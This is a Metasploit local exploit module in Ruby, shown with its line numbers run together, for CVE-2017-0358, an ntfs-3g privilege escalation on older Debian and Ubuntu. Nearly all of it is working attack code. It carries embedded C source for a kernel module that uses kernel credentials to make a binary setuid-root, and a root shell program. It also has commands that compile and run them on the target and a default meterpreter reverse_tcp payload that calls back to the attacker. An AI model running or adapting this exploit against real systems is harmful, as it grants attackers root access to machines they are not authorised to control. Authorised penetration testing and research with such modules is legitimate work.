Path: blob/master/modules/exploits/linux/local/ntfs3g_priv_esc.rb
32545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',18'Description' => %q{19ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.20This can be abused to load a kernel module and execute a binary payload as the root user.21},22'License' => MSF_LICENSE,23'Author' => [24'[email protected]', # discovery25'h00die <[email protected]>' # metasploit module26],27'Platform' => [ 'linux' ],28'SessionTypes' => [ 'shell', 'meterpreter' ],29'References' => [30[ 'CVE', '2017-0358' ],31[ 'EDB', '41356' ],32[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]33],34'Targets' => [35[ 'Linux x86', { 'Arch' => ARCH_X86 } ],36[ 'Linux x64', { 'Arch' => ARCH_X64 } ]37],38'DefaultOptions' => {39'payload' => 'linux/x64/meterpreter/reverse_tcp',40'PrependFork' => true41},42'DefaultTarget' => 1,43'DisclosureDate' => '2017-01-05',44'Privileged' => true,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50}51)52)53register_advanced_options [54OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])55]56end5758def check59# check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.60def headers_installed?61output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')62if output63if output.include?('linux-headers')64return true65else66print_error('Linux kernel headers not available, compiling will fail.')67return false68end69end70false71end7273output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')74if output75if output.include?('1:2015.3.14AR.1-1build1') # Ubuntu 16.04 LTS76print_good('Vulnerable Ubuntu 16.04 detected')77CheckCode::Appears78elsif output.include?('1:2016.2.22AR.1-3') # Ubuntu 16.1079print_good('Vulnerable Ubuntu 16.10 detected')80CheckCode::Appears81elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') # Debian Wheezy, we also need linux-source installed82print_good('Vulnerable Debian 7 (wheezy) detected')83if headers_installed?84CheckCode::Appears85else86CheckCode::Safe87end88CheckCode::Appears89elsif output.include?('1:2014.2.15AR.2-1+deb8u2') # Debian Jessie, we also need linux-source installed90print_good('Vulnerable Debian 8 (jessie) detected')91if headers_installed?92CheckCode::Appears93else94CheckCode::Safe95end96CheckCode::Appears97else98print_error("Version installed not vulnerable: #{output}")99CheckCode::Safe100end101else102print_error('ntfs-3g not installed')103CheckCode::Safe104end105end106107def exploit108def upload_and_compile(filename, file_path, file_content, compile = nil)109rm_f "#{file_path}"110if !compile.nil?111rm_f "#{file_path}.c"112vprint_status("Writing #{filename} to #{file_path}.c")113write_file("#{file_path}.c", file_content)114register_file_for_cleanup("#{file_path}.c")115output = cmd_exec(compile)116if output != ''117print_error(output)118fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")119end120else121vprint_status("Writing #{filename} to #{file_path}")122write_file(file_path, file_content)123end124cmd_exec("chmod +x #{file_path}")125register_file_for_cleanup(file_path)126end127128# These are direct copies of the modules from EDB129rootmod = %q{130#include <linux/module.h>131#include <linux/kernel.h>132#include <linux/cred.h>133#include <linux/syscalls.h>134#include <linux/kallsyms.h>135136static int suidfile_fd = -1;137module_param(suidfile_fd, int, 0);138139static int __init init_rootmod(void) {140int (*sys_fchown_)(int fd, int uid, int gid);141int (*sys_fchmod_)(int fd, int mode);142const struct cred *kcred, *oldcred;143144sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");145sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");146147printk(KERN_INFO "rootmod loading\n");148kcred = prepare_kernel_cred(NULL);149oldcred = override_creds(kcred);150sys_fchown_(suidfile_fd, 0, 0);151sys_fchmod_(suidfile_fd, 06755);152revert_creds(oldcred);153return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */154}155156static void __exit cleanup_rootmod(void) {}157158module_init(init_rootmod);159module_exit(cleanup_rootmod);160161MODULE_LICENSE("GPL v2");162}163164rootshell = %q{165#include <unistd.h>166#include <err.h>167#include <stdio.h>168#include <sys/types.h>169170int main(void) {171if (setuid(0) || setgid(0))172err(1, "setuid/setgid");173fputs("we have root privs now...\n", stderr);174execl("/bin/bash", "bash", NULL);175err(1, "execl");176}177}178179# we moved sploit.c off since it was so big to the external sources folder180path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')181fd = ::File.open(path, 'rb')182sploit = fd.read(fd.stat.size)183fd.close184185rootmod_filename = 'rootmod'186rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"187rootshell_filename = 'rootshell'188rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"189sploit_filename = 'sploit'190sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"191payload_filename = rand_text_alpha(8)192payload_path = "#{datastore['WritableDir']}/#{payload_filename}"193194if check != CheckCode::Appears195fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')196end197198def has_prereqs?199def check_gcc?200gcc = cmd_exec('which gcc')201if gcc.include?('gcc')202vprint_good('gcc is installed')203return true204else205print_error('gcc is not installed. Compiling will fail.')206return false207end208end209210def check_make?211make = cmd_exec('which make')212if make.include?('make')213vprint_good('make is installed')214return true215else216print_error('make is not installed. Compiling will fail.')217return false218end219end220221return check_make? && check_gcc?222end223224if has_prereqs?225vprint_status('Live compiling exploit on system')226else227fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')228end229230# make our substitutions so things are dynamic231rootshell.gsub!(%r{execl\("/bin/bash", "bash", NULL\);},232"return execl(\"#{payload_path}\", \"\", NULL);") # launch our payload, and do it in a return to not freeze the executable233print_status('Writing files to target')234cmd_exec("cd #{datastore['WritableDir']}")235236# write all the files and compile. This is equivalent to the original compile.sh237# gcc -o rootshell rootshell.c -Wall238upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")239# gcc -o sploit sploit.c -Wall -std=gnu99240upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")241# make -C /lib/modules/$(uname -r)/build M=$(pwd) modules242upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)243upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)244cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')245upload_and_compile('payload', payload_path, generate_payload_exe)246247# This is equivalent to the 2nd half of the compile.sh file248cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')249cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')250cmd_exec('/sbin/depmod -b depmod_tmp/')251cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')252cmd_exec('rm -rf depmod_tmp')253254register_file_for_cleanup("#{rootmod_path}.ko")255register_file_for_cleanup("#{rootmod_path}.mod.c")256register_file_for_cleanup("#{rootmod_path}.mod.o")257register_file_for_cleanup("#{rootmod_path}.o")258259# and here we go!260print_status('Starting execution of priv esc.')261output = cmd_exec(sploit_path)262unless session_created?263# this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,264# but binary payload was caught, or NIPS shut down the callback etc.265vprint_error(output)266end267end268269def on_new_session(session)270# if we don't /bin/bash here, our payload times out271# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400272# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died273session.shell_command_token('/bin/bash')274super275end276end277278279